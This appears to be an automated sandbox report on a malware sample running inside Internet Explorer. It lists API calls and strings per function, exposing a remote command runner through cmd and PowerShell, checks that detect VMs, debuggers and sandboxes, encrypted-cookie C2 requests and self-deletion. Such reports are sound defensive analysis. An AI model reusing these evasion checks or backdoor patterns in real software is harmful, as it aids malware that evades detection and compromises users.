Function 00511024, Relevance: 3.0, APIs: 2, Instructions: 41

APIs

time.MSVCRT ref: 00511080
srand.MSVCRT ref: 00511086

Part of subcall function 00511098: ??2@YAPAXI@Z.MSVCRT ref: 005110AB
Part of subcall function 00511098: memset.MSVCRT ref: 005110B5
Part of subcall function 00511098: UrlMkGetSessionOption.URLMON(10000001,00000000,00000104,?,00000000), ref: 005110C9
Part of subcall function 00511098: MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,00511080,00000104,?,?,00511094,?,?,?,?,?,?,?), ref: 005110F0
Part of subcall function 00511098: ??3@YAXPAX@Z.MSVCRT ref: 00511117

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 005166E9, Relevance: 3.0, APIs: 2, Instructions: 16

APIs

IsWow64Process.KERNELBASE(000000FF,00000340,?,?,?,005168F0,?,?,?,00000340,00000000), ref: 005166F4
GetNativeSystemInfo.KERNEL32(?), ref: 005166FE

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 004F1FDE, Relevance: 2.5, APIs: 2, Instructions: 28

APIs

??2@YAPAXI@Z.MSVCRT ref: 004F1FE3
??2@YAPAXI@Z.MSVCRT ref: 004F2015

Memory Dump Source

Source File: 00000003.00000002.773005659.004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4f0000_iexplore.jbxd

Function 00516667, Relevance: 1.5, APIs: 1, Instructions: 15registry

APIs

RegOpenKeyExA.KERNEL32(00000340,?,00000000,?,?,?,0051696E,80000002,?,00020019,?,?,?,00000340,00000000), ref: 00516679

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Non-executed Functions

Function 00515486, Relevance: 68.7, APIs: 26, Strings: 13, Instructions: 408stringlibrarypipe

APIs

memset.MSVCRT ref: 005154C7
___swprintf_l.LIBCMT ref: 005154DA
strncmp.MSVCRT(?,runexe ,00000007,?,?,[%s],?,?,00000000,000001FF), ref: 005154E7
strncmp.MSVCRT(?,rundll ,00000007,?,?,00520110,00000294,005153A6,?,00000001,?,?,00000001), ref: 0051555C

Part of subcall function 0051A79D: _errno.MSVCRT ref: 0051A7B5
Part of subcall function 0051A79D: _errno.MSVCRT ref: 0051A7F0

strstr.MSVCRT ref: 005155DB
LoadLibraryA.KERNEL32(?), ref: 005155F9
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00520110,00000294,005153A6,?,00000001,?,?,00000001), ref: 0051562D
___swprintf_l.LIBCMT ref: 00515645
GetProcAddress.KERNEL32(00000000,00000001,?,?,?,?,?,?,?,?,00520110,00000294,005153A6,?,00000001), ref: 00515664
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,00520110,00000294,005153A6,?,00000001,?,?,00000001), ref: 00515698
___swprintf_l.LIBCMT ref: 005156F8
GetSystemDirectoryA.KERNEL32(?,00000200), ref: 00515736

Part of subcall function 0051A729: _errno.MSVCRT ref: 0051A741
Part of subcall function 0051A729: _errno.MSVCRT ref: 0051A788

CreatePipe.KERNEL32(?,?,0000000C,00000000), ref: 005157B6
GetLastError.KERNEL32 ref: 005157C0
___swprintf_l.LIBCMT ref: 00515808
memset.MSVCRT ref: 00515831
CreateProcessA.KERNEL32(00000000,?,00000000,00000000,00000001,00000000,00000000,00000000,00000044,?), ref: 00515896
WaitForSingleObject.KERNEL32(?,?), ref: 005158BD
PeekNamedPipe.KERNEL32(?,00000000,00000000,00000000,?,00000000), ref: 005158F4
ReadFile.KERNEL32(?,?,?,?,00000000), ref: 00515922
WaitForSingleObject.KERNEL32(?,000003E8), ref: 0051594B
memset.MSVCRT ref: 00515964
CloseHandle.KERNEL32(?), ref: 0051597A
CloseHandle.KERNEL32(?), ref: 00515982
CloseHandle.KERNEL32(?), ref: 00515992
CloseHandle.KERNEL32(?), ref: 0051599A

Strings

find %s error:0x%x, xrefs: 005156A5
D, xrefs: 00515865
illegal command, xrefs: 00515582
load %s[%s] ok., xrefs: 005156EB
rundll , xrefs: 00515556
error:0x%x, xrefs: 00515634
[%s], xrefs: 005154CD
\WindowsPowerShell\v1.0\powershell.exe /c , xrefs: 00515747
usage: runexe 1.exe /c command..., xrefs: 00515523
\cmd.exe /c , xrefs: 0051574E
Create Pipe Failed: %d, xrefs: 005157F7
runexe , xrefs: 005154E1
usage: rundll 1.dll,DllMain, xrefs: 005155C8

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 005114F8, Relevance: 51.1, APIs: 16, Strings: 13, Instructions: 335

APIs

memset.MSVCRT ref: 0051154A
memset.MSVCRT ref: 00511561
memset.MSVCRT ref: 00511578
SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001A,00000001), ref: 0051158C
___swprintf_l.LIBCMT ref: 005115E4
GetPrivateProfileStringW.KERNEL32(?,Path,00000000,?,00000104,?), ref: 00511605
memset.MSVCRT ref: 0051167E
memset.MSVCRT ref: 00511695
_wfopen.MSVCRT ref: 0051177A

Part of subcall function 0051A460: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0051B495
Part of subcall function 0051A460: UnhandledExceptionFilter.KERNEL32(0051E3C8), ref: 0051B4A0
Part of subcall function 0051A460: GetCurrentProcess.KERNEL32(C0000409), ref: 0051B4AB
Part of subcall function 0051A460: TerminateProcess.KERNEL32(00000000), ref: 0051B4B2

Part of subcall function 0051A93E: _errno.MSVCRT ref: 0051A956
Part of subcall function 0051A93E: _errno.MSVCRT ref: 0051A9AD

Part of subcall function 0051A9BB: _errno.MSVCRT ref: 0051A9D3
Part of subcall function 0051A9BB: _errno.MSVCRT ref: 0051AA1C

fgetws.MSVCRT ref: 005117B1
wcsstr.MSVCRT ref: 005117C6
wcsstr.MSVCRT ref: 0051185A
_wtoi.MSVCRT ref: 00511881
feof.MSVCRT ref: 00511893
fclose.MSVCRT ref: 005118A7
___swprintf_l.LIBCMT ref: 005118E3

Part of subcall function 00518133: memset.MSVCRT ref: 00518179
Part of subcall function 00518133: GetLocalTime.KERNEL32(?,?,?,?), ref: 00518188
Part of subcall function 00518133: ___swprintf_l.LIBCMT ref: 005181D0
Part of subcall function 00518133: memset.MSVCRT ref: 0051821C
Part of subcall function 00518133: WideCharToMultiByte.KERNEL32(00000000,00000000,?,000000FF,?,0000C800,00000000,00000000), ref: 00518239
Part of subcall function 00518133: CreateFileA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\FXSAPIDebugLogFile.tmp,40000000,00000001,00000000,00000003,00000000,00000000), ref: 0051825C
Part of subcall function 00518133: GetFileSize.KERNEL32(00000000,00000000), ref: 0051826B
Part of subcall function 00518133: SetEndOfFile.KERNEL32(00000000), ref: 00518280
Part of subcall function 00518133: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 0051828D
Part of subcall function 00518133: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 005182CB
Part of subcall function 00518133: CloseHandle.KERNEL32(00000000), ref: 005182D2

Strings

HTTPS, xrefs: 0051172D
user_pref("network.proxy.ssl_port", , xrefs: 005116D5
Path, xrefs: 005115FC
HTTP, xrefs: 005116E6
\Mozilla\Firefox\, xrefs: 0051159B
Get FireFoxProxy %s, xrefs: 005118E9
Profile%d, xrefs: 005115D9
user_pref("network.proxy.http", ", xrefs: 005116A2
user_pref("network.proxy.http_port", , xrefs: 005116B2
%s=%s://%s:%d, xrefs: 005118DB
profiles.ini, xrefs: 005115C6
\prefs.js, xrefs: 0051161F
user_pref("network.proxy.ssl", ", xrefs: 005116C0

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 004F2A05, Relevance: 46.0, APIs: 7, Strings: 19, Instructions: 482

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004F2A2A
memset.MSVCRT ref: 004F2A51
memset.MSVCRT ref: 004F2A6C
Process32FirstW.KERNEL32(?,?), ref: 004F2A7E
___swprintf_l.LIBCMT ref: 004F2AA4

Part of subcall function 004F3197: _errno.MSVCRT ref: 004F31A4
Part of subcall function 004F3197: _wcslwr.MSVCRT ref: 004F31D6

Process32NextW.KERNEL32(?,?), ref: 004F2F6A
CloseHandle.KERNEL32(?), ref: 004F2F81

Part of subcall function 004F32A0: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 004F3CE2
Part of subcall function 004F32A0: UnhandledExceptionFilter.KERNEL32(004F6190), ref: 004F3CED
Part of subcall function 004F32A0: GetCurrentProcess.KERNEL32(C0000409), ref: 004F3CF8
Part of subcall function 004F32A0: TerminateProcess.KERNEL32(00000000), ref: 004F3CFF

Strings

vmtoolsd.exe, xrefs: 004F2BE4
vboxservice.exe, xrefs: 004F2AF8
wireshark.exe, xrefs: 004F2D10
vboxtray.exe, xrefs: 004F2ABD
ollydbg.exe, xrefs: 004F2DDC
vmwaretray.exe, xrefs: 004F2B6E
windbg.exe, xrefs: 004F2E20
vmwareuser.exe, xrefs: 004F2B33
ZxSniffer.exe, xrefs: 004F2D54
Syser.exe, xrefs: 004F2EA8
IrisSvc.exe, xrefs: 004F2CCC
vmupgradehelper.exe, xrefs: 004F2BA9
PEBrowseDbg.exe, xrefs: 004F2E64
Regshot.exe, xrefs: 004F2D98
SandboxieRpcSs.exe, xrefs: 004F2EEC
irise.exe, xrefs: 004F2C95
vmtools.exe, xrefs: 004F2C5A
SandboxieDcomLaunch.exe, xrefs: 004F2F23
vmacthlp.exe, xrefs: 004F2C1F

Memory Dump Source

Source File: 00000003.00000002.773005659.004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4f0000_iexplore.jbxd

Function 004F2FA1, Relevance: 42.2, APIs: 16, Strings: 8, Instructions: 155string

APIs

??2@YAPAXI@Z.MSVCRT ref: 004F2FC4
memset.MSVCRT ref: 004F2FD4
GetAdaptersInfo.IPHLPAPI(00000000,?), ref: 004F2FE8
??3@YAXPAX@Z.MSVCRT ref: 004F2FF5
??2@YAPAXI@Z.MSVCRT ref: 004F2FFD
GetAdaptersInfo.IPHLPAPI(00000000,?), ref: 004F300B
memset.MSVCRT ref: 004F3021
___swprintf_l.LIBCMT ref: 004F3078
??3@YAXPAX@Z.MSVCRT ref: 004F309C
strstr.MSVCRT ref: 004F30AB
strstr.MSVCRT ref: 004F30C1
strstr.MSVCRT ref: 004F30D5
strstr.MSVCRT ref: 004F30E9
strstr.MSVCRT ref: 004F30FD
strstr.MSVCRT ref: 004F3111
strstr.MSVCRT ref: 004F3125

Part of subcall function 004F32A0: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 004F3CE2
Part of subcall function 004F32A0: UnhandledExceptionFilter.KERNEL32(004F6190), ref: 004F3CED
Part of subcall function 004F32A0: GetCurrentProcess.KERNEL32(C0000409), ref: 004F3CF8
Part of subcall function 004F32A0: TerminateProcess.KERNEL32(00000000), ref: 004F3CFF

Strings

001C14, xrefs: 004F30CF
000C29, xrefs: 004F30BB
005056, xrefs: 004F30E3
00163E, xrefs: 004F310B
000569, xrefs: 004F30A5
%02X%02X%02X%02X%02X%02X , xrefs: 004F306A
080027, xrefs: 004F311F
00155D, xrefs: 004F30F7

Memory Dump Source

Source File: 00000003.00000002.773005659.004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4f0000_iexplore.jbxd

Function 004F28FC, Relevance: 29.8, APIs: 4, Strings: 13, Instructions: 85registry

APIs

RegOpenKeyExW.ADVAPI32(80000001,004F64AC,00000000,00020019,?,00000001,00000000,?), ref: 004F299F
RegCloseKey.ADVAPI32(?), ref: 004F29A8
RegOpenKeyExW.ADVAPI32(80000002,004F66B8,00000000,00020019,?,00000001,00000000,?), ref: 004F29DF
RegCloseKey.ADVAPI32(?), ref: 004F29E8

Strings

SYSTEM\CurrentControlSet\Services\IRIS5, xrefs: 004F2950
Software\eEye Digital Security, xrefs: 004F2926
Software\Microsoft\Windows\CurrentVersion\Explorer\MenuOrder\Start Menu2\Programs\APIS32, xrefs: 004F2934
Software\CommView, xrefs: 004F291F
SOFTWARE\ZxSniffer, xrefs: 004F295E
Software\Syser Soft, xrefs: 004F293B
SOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSandboxie, xrefs: 004F2973
Software\Classes\Folder\shell\sandbox, xrefs: 004F2942
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Wireshark, xrefs: 004F2957
Software\Classes\*\shell\sandbox, xrefs: 004F2949
SYSTEM\CurrentControlSet\Services\VBoxGuest, xrefs: 004F2965
Software\Win Sniffer, xrefs: 004F292D
SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Oracle VM VirtualBox Guest Additions, xrefs: 004F296C

Memory Dump Source

Source File: 00000003.00000002.773005659.004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4f0000_iexplore.jbxd

Function 004F27E5, Relevance: 28.1, APIs: 10, Strings: 6, Instructions: 94registry

APIs

RegOpenKeyExW.ADVAPI32(80000002,SYSTEM\ControlSet001\services\Disk\Enum,00000000,00020019,?,?), ref: 004F281A
GetLastError.KERNEL32 ref: 004F2824
printf.MSVCRT ref: 004F2830
memset.MSVCRT ref: 004F2852
RegQueryValueExW.ADVAPI32(?,004F646C,00000000,00000000,?,?), ref: 004F286C
wcsstr.MSVCRT ref: 004F288B
wcsstr.MSVCRT ref: 004F28A2
wcsstr.MSVCRT ref: 004F28B8
wcsstr.MSVCRT ref: 004F28CE
RegCloseKey.ADVAPI32(?), ref: 004F28DE

Part of subcall function 004F32A0: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 004F3CE2
Part of subcall function 004F32A0: UnhandledExceptionFilter.KERNEL32(004F6190), ref: 004F3CED
Part of subcall function 004F32A0: GetCurrentProcess.KERNEL32(C0000409), ref: 004F3CF8
Part of subcall function 004F32A0: TerminateProcess.KERNEL32(00000000), ref: 004F3CFF

Part of subcall function 004F3197: _errno.MSVCRT ref: 004F31A4
Part of subcall function 004F3197: _wcslwr.MSVCRT ref: 004F31D6

Strings

SYSTEM\ControlSet001\services\Disk\Enum, xrefs: 004F280D
vmware, xrefs: 004F2885
qemu, xrefs: 004F289C
virtualhd, xrefs: 004F28C8
0x3A RegOpenKeyExW Disk Failed-%d, xrefs: 004F282B
vbox, xrefs: 004F28B2

Memory Dump Source

Source File: 00000003.00000002.773005659.004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4f0000_iexplore.jbxd

Function 00514AAC, Relevance: 9.1, APIs: 6, Instructions: 83

APIs

??2@YAPAXI@Z.MSVCRT ref: 00514AC6
GetAdaptersInfo.IPHLPAPI(00000000,00000000), ref: 00514AD6
??3@YAXPAX@Z.MSVCRT ref: 00514AE1
??2@YAPAXI@Z.MSVCRT ref: 00514AE9
GetAdaptersInfo.IPHLPAPI(00000000,00000000), ref: 00514AFA
??3@YAXPAX@Z.MSVCRT ref: 00514B71

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 004F278F, Relevance: 2.5, Strings: 2, Instructions: 23

Strings

hXMV, xrefs: 004F27A6
hXMV, xrefs: 004F27BB

Memory Dump Source

Source File: 00000003.00000002.773005659.004F0000.00000040.sdmp, Offset: 004F0000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_4f0000_iexplore.jbxd

Function 00519958, Relevance: .7, Instructions: 696

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 005186ED, Relevance: .6, Instructions: 605

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 00519591, Relevance: .2, Instructions: 200

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 00519361, Relevance: .2, Instructions: 177

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 00518EF8, Relevance: .1, Instructions: 84

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 00512CCF, Relevance: 56.3, APIs: 24, Strings: 8, Instructions: 329

APIs

memset.MSVCRT ref: 00512D12

Part of subcall function 005190CF: ??2@YAPAXI@Z.MSVCRT ref: 0051910D
Part of subcall function 005190CF: memcpy.MSVCRT ref: 0051911A
Part of subcall function 005190CF: memset.MSVCRT ref: 00519127
Part of subcall function 005190CF: memset.MSVCRT ref: 00519141
Part of subcall function 005190CF: memcpy.MSVCRT ref: 00519159
Part of subcall function 005190CF: ??3@YAXPAX@Z.MSVCRT ref: 005191AD

??3@YAXPAX@Z.MSVCRT ref: 005130DB

Part of subcall function 0051A460: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0051B495
Part of subcall function 0051A460: UnhandledExceptionFilter.KERNEL32(0051E3C8), ref: 0051B4A0
Part of subcall function 0051A460: GetCurrentProcess.KERNEL32(C0000409), ref: 0051B4AB
Part of subcall function 0051A460: TerminateProcess.KERNEL32(00000000), ref: 0051B4B2

memset.MSVCRT ref: 00512D77

Part of subcall function 0051A476: _errno.MSVCRT ref: 0051A48F
Part of subcall function 0051A476: memcpy.MSVCRT ref: 0051A4BB
Part of subcall function 0051A476: memset.MSVCRT ref: 0051A4CC
Part of subcall function 0051A476: _errno.MSVCRT ref: 0051A4DE

memset.MSVCRT ref: 00512DA7
??2@YAPAXI@Z.MSVCRT ref: 00512DEA
??2@YAPAXI@Z.MSVCRT ref: 00512E1B
??2@YAPAXI@Z.MSVCRT ref: 00512E4C
??3@YAXPAX@Z.MSVCRT ref: 00512F06
??3@YAXPAX@Z.MSVCRT ref: 00512F12
??3@YAXPAX@Z.MSVCRT ref: 00512F1E
??2@YAPAXI@Z.MSVCRT ref: 00512F33
??2@YAPAXI@Z.MSVCRT ref: 00512F4C
rand.MSVCRT ref: 00512F5A

Part of subcall function 005122D3: memset.MSVCRT ref: 00512330
Part of subcall function 005122D3: memset.MSVCRT ref: 0051235A
Part of subcall function 005122D3: rand.MSVCRT ref: 00512375
Part of subcall function 005122D3: ___swprintf_l.LIBCMT ref: 0051238F

__swprintf_c_l.LIBCMT ref: 00512F7B

Part of subcall function 0051A9BB: _errno.MSVCRT ref: 0051A9D3
Part of subcall function 0051A9BB: _errno.MSVCRT ref: 0051AA1C

Part of subcall function 0051AA2A: _errno.MSVCRT ref: 0051AA58
Part of subcall function 0051AA2A: _errno.MSVCRT ref: 0051AB07

??3@YAXPAX@Z.MSVCRT ref: 00512FB1
rand.MSVCRT ref: 00512FBB
__swprintf_c_l.LIBCMT ref: 00512FD7

Part of subcall function 0051A93E: _errno.MSVCRT ref: 0051A956
Part of subcall function 0051A93E: _errno.MSVCRT ref: 0051A9AD

??3@YAXPAX@Z.MSVCRT ref: 0051300D
rand.MSVCRT ref: 00513017
__swprintf_c_l.LIBCMT ref: 00513033
??3@YAXPAX@Z.MSVCRT ref: 00513065
??3@YAXPAX@Z.MSVCRT ref: 0051307D
WinHttpAddRequestHeaders.WINHTTP(?,00000000,00000002,A0000000), ref: 005130BB
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,00000004), ref: 005130C5

Part of subcall function 00517FBE: memset.MSVCRT ref: 00518001
Part of subcall function 00517FBE: GetLocalTime.KERNEL32(?,?,0051648E,Client Start!), ref: 00518010
Part of subcall function 00517FBE: ___swprintf_l.LIBCMT ref: 00518058
Part of subcall function 00517FBE: CreateFileA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\FXSAPIDebugLogFile.tmp,40000000,00000001,00000000,00000003,00000000,00000000), ref: 005180AC
Part of subcall function 00517FBE: GetFileSize.KERNEL32(00000000,00000000), ref: 005180BB
Part of subcall function 00517FBE: SetEndOfFile.KERNEL32(00000000), ref: 005180CC
Part of subcall function 00517FBE: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 005180D9
Part of subcall function 00517FBE: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 00518117
Part of subcall function 00517FBE: CloseHandle.KERNEL32(00000000), ref: 0051811E

Strings

lpEnAppHead Base64Encode fail!, xrefs: 00512EAE
; %s=, xrefs: 00512FCF, 0051302B
Cookie: %s=, xrefs: 00512F6E
AppType Base64Encode fail!, xrefs: 00512E7F
AES Encrypt Cookie3 Fail!, xrefs: 00512DDE
m_client_head Base64Encode fail!, xrefs: 00512EE5
AES Encrypt Cookie2 Fail!, xrefs: 00512D3A
GET WinHttpAddRequestHeaders failed! - %d, xrefs: 005130CC

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 005123CA, Relevance: 51.0, APIs: 15, Strings: 14, Instructions: 275

APIs

memset.MSVCRT ref: 00512458
rand.MSVCRT ref: 0051246D
rand.MSVCRT ref: 0051249B
rand.MSVCRT ref: 005124BF
rand.MSVCRT ref: 005124DB
rand.MSVCRT ref: 00512505
rand.MSVCRT ref: 0051253C
rand.MSVCRT ref: 0051257E
rand.MSVCRT ref: 005125B5
___swprintf_l.LIBCMT ref: 005125E9
memset.MSVCRT ref: 0051263B

Part of subcall function 0051A9BB: _errno.MSVCRT ref: 0051A9D3
Part of subcall function 0051A9BB: _errno.MSVCRT ref: 0051AA1C

rand.MSVCRT ref: 00512650

Part of subcall function 005122D3: memset.MSVCRT ref: 00512330
Part of subcall function 005122D3: memset.MSVCRT ref: 0051235A
Part of subcall function 005122D3: rand.MSVCRT ref: 00512375
Part of subcall function 005122D3: ___swprintf_l.LIBCMT ref: 0051238F

Part of subcall function 0051A93E: _errno.MSVCRT ref: 0051A956
Part of subcall function 0051A93E: _errno.MSVCRT ref: 0051A9AD

rand.MSVCRT ref: 0051267F
rand.MSVCRT ref: 005126A4
___swprintf_l.LIBCMT ref: 005126CA

Part of subcall function 0051A460: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0051B495
Part of subcall function 0051A460: UnhandledExceptionFilter.KERNEL32(0051E3C8), ref: 0051B4A0
Part of subcall function 0051A460: GetCurrentProcess.KERNEL32(C0000409), ref: 0051B4AB
Part of subcall function 0051A460: TerminateProcess.KERNEL32(00000000), ref: 0051B4B2

Strings

.asp, xrefs: 0051262D
.xml, xrefs: 00512618
.json, xrefs: 0051244A
GET, xrefs: 005123F3
.png, xrefs: 00512443
.js, xrefs: 00512427
.html, xrefs: 0051243C, 00512611
.jsp, xrefs: 00512634
.css, xrefs: 0051242E
.htm, xrefs: 00512435, 0051260A
.jpg, xrefs: 00512419
.xhtml, xrefs: 0051261F
.php, xrefs: 00512451, 00512626
.gif, xrefs: 00512420

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 00516239, Relevance: 42.1, APIs: 18, Strings: 6, Instructions: 121stringthread

APIs

GetModuleFileNameW.KERNEL32(?,?,00000104,?), ref: 00516269
GetShortPathNameW.KERNEL32(?,?,00000104), ref: 00516280
GetEnvironmentVariableW.KERNEL32(COMSPEC,?,00000104), ref: 00516298
wcsstr.MSVCRT ref: 005162B3
memset.MSVCRT ref: 005162D4
SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001A,00000000), ref: 005162E7

Part of subcall function 0051A93E: _errno.MSVCRT ref: 0051A956
Part of subcall function 0051A93E: _errno.MSVCRT ref: 0051A9AD

DeleteFileW.KERNEL32(?,?,?,?,?,?,00000000), ref: 00516309
lstrcpyW.KERNEL32(?,/c del ), ref: 0051631B
lstrcatW.KERNEL32(?,?), ref: 00516335
lstrcatW.KERNEL32(?, > nul), ref: 00516343
ShellExecuteExW.SHELL32(?), ref: 00516375
SetPriorityClass.KERNEL32(?,00000040), ref: 00516389
GetCurrentProcess.KERNEL32(00000100), ref: 00516390
SetPriorityClass.KERNEL32(00000000), ref: 00516397
GetCurrentThread.KERNEL32(0000000F), ref: 0051639B
SetThreadPriority.KERNEL32(00000000), ref: 005163A2
SHChangeNotify.SHELL32(00000004,00000005,?,00000000), ref: 005163B4
ExitProcess.KERNEL32 ref: 005163BB

Part of subcall function 0051A460: SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0051B495
Part of subcall function 0051A460: UnhandledExceptionFilter.KERNEL32(0051E3C8), ref: 0051B4A0
Part of subcall function 0051A460: GetCurrentProcess.KERNEL32(C0000409), ref: 0051B4AB
Part of subcall function 0051A460: TerminateProcess.KERNEL32(00000000), ref: 0051B4B2

Strings

COMSPEC, xrefs: 00516293
NavShExt.dll, xrefs: 005162AD
Open, xrefs: 00516365
\Microsoft\Windows\Caches\NavShExt.dll, xrefs: 005162ED
> nul, xrefs: 00516337
/c del , xrefs: 0051630F

Memory Dump Source

Source File: 00000003.00000002.773015621.00510000.00000040.sdmp, Offset: 00510000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_510000_iexplore.jbxd

Function 005159AF, Relevance: 40.4, APIs: 18, Strings: 5, Instructions: 178file

APIs

memset.MSVCRT ref: 005159E7
??2@YAPAXI@Z.MSVCRT ref: 00515A3A
CreateFileA.KERNEL32(?,80000000,00000003,00000000,00000003,00000000,00000000), ref: 00515A60
GetLastError.KERNEL32 ref: 00515A71
GetFileSize.KERNEL32(00000000,00000000), ref: 00515A93
GetLastError.KERNEL32 ref: 00515AA4
memset.MSVCRT ref: 00515AB6
memcpy.MSVCRT ref: 00515AD1

Part of subcall function 0051476E: rand.MSVCRT ref: 0051479C
Part of subcall function 0051476E: ??2@YAPAXI@Z.MSVCRT ref: 005147B4
Part of subcall function 0051476E: ??3@YAXPAX@Z.MSVCRT ref: 0051481E
Part of subcall function 0051476E: ??3@YAXPAX@Z.MSVCRT ref: 00514862

GetLastError.KERNEL32(00000000,?,000003F0,?,?,?,?,?,?,?,?,00000000,000003EB), ref: 00515B02
GetTickCount.KERNEL32(00000000,?,000003F0,?,?,?,?,?,?,?,?,00000000,000003EB), ref: 00515B12
srand.MSVCRT ref: 00515B19
memset.MSVCRT ref: 00515B23
rand.MSVCRT ref: 00515B32
ReadFile.KERNEL32(?,0000000C,0000C60B,00000000,00000000), ref: 00515B5B
SetFilePointer.KERNEL32(?,?,00000000,00000000), ref: 00515BBC
GetLastError.KERNEL32(00000000,-0000000C,000003F1,?), ref: 00515BE7
GetLastError.KERNEL32 ref: 00515B65

Part of subcall function 00517FBE: memset.MSVCRT ref: 00518001
Part of subcall function 00517FBE: GetLocalTime.KERNEL32(?,?,0051648E,Client Start!), ref: 00518010
Part of subcall function 00517FBE: ___swprintf_l.LIBCMT ref: 00518058
Part of subcall function 00517FBE: CreateFileA.KERNEL32(C:\Users\user~1\AppData\Local\Temp\FXSAPIDebugLogFile.tmp,40000000,00000001,00000000,00000003,00000000,00000000), ref: 005180AC
Part of subcall function 00517FBE: GetFileSize.KERNEL32(00000000,00000000), ref: 005180BB
Part of subcall function 00517FBE: SetEndOfFile.KERNEL32(00000000), ref: 005180CC
Part of subcall function 00517FBE: SetFilePointer.KERNEL32(00000000,00000000,00000000,00000002), ref: 005180D9
Part of subcall function 00517FBE: WriteFile.KERNEL32(00000000,?,?,?,00000000), ref: 00518117
Part of subcall function 00517FBE: CloseHandle.KERNEL32(00000000), ref: 0051811E

Part of subcall function 00515C47: memset.MSVCRT ref: 00515C4B
Part of subcall function 00515C47: memcpy.MSVCRT ref: 00515C72
Part of subcall function 00515C47: GetLastError.KERNEL32(00000000,?,000003F2,?), ref: 00515CC0

??3@YAXPAX@Z.MSVCRT ref: 00515C28

Part of subcall function 0051A805: _errno.MSVCRT ref: 0051A832
Part of subcall function 0051A805: _errno.MSVCRT ref: 0051A8AC

Part of subcall function 0051350A: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,00000000,000000FF,00000000,00000000,00000200,?,?,00000000,005152D8,00000000,?), ref: 00513524
Part of subcall function 0051350A: ??_U@YAPAXI@Z.MSVCRT ref: 0051353A
Part of subcall function 0051350A: memset.MSVCRT ref: 00513547
Part of subcall function 0051350A: MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,000000FF,00000000,00000001,00000000,005152D8,00000000,?), ref: 0051355D
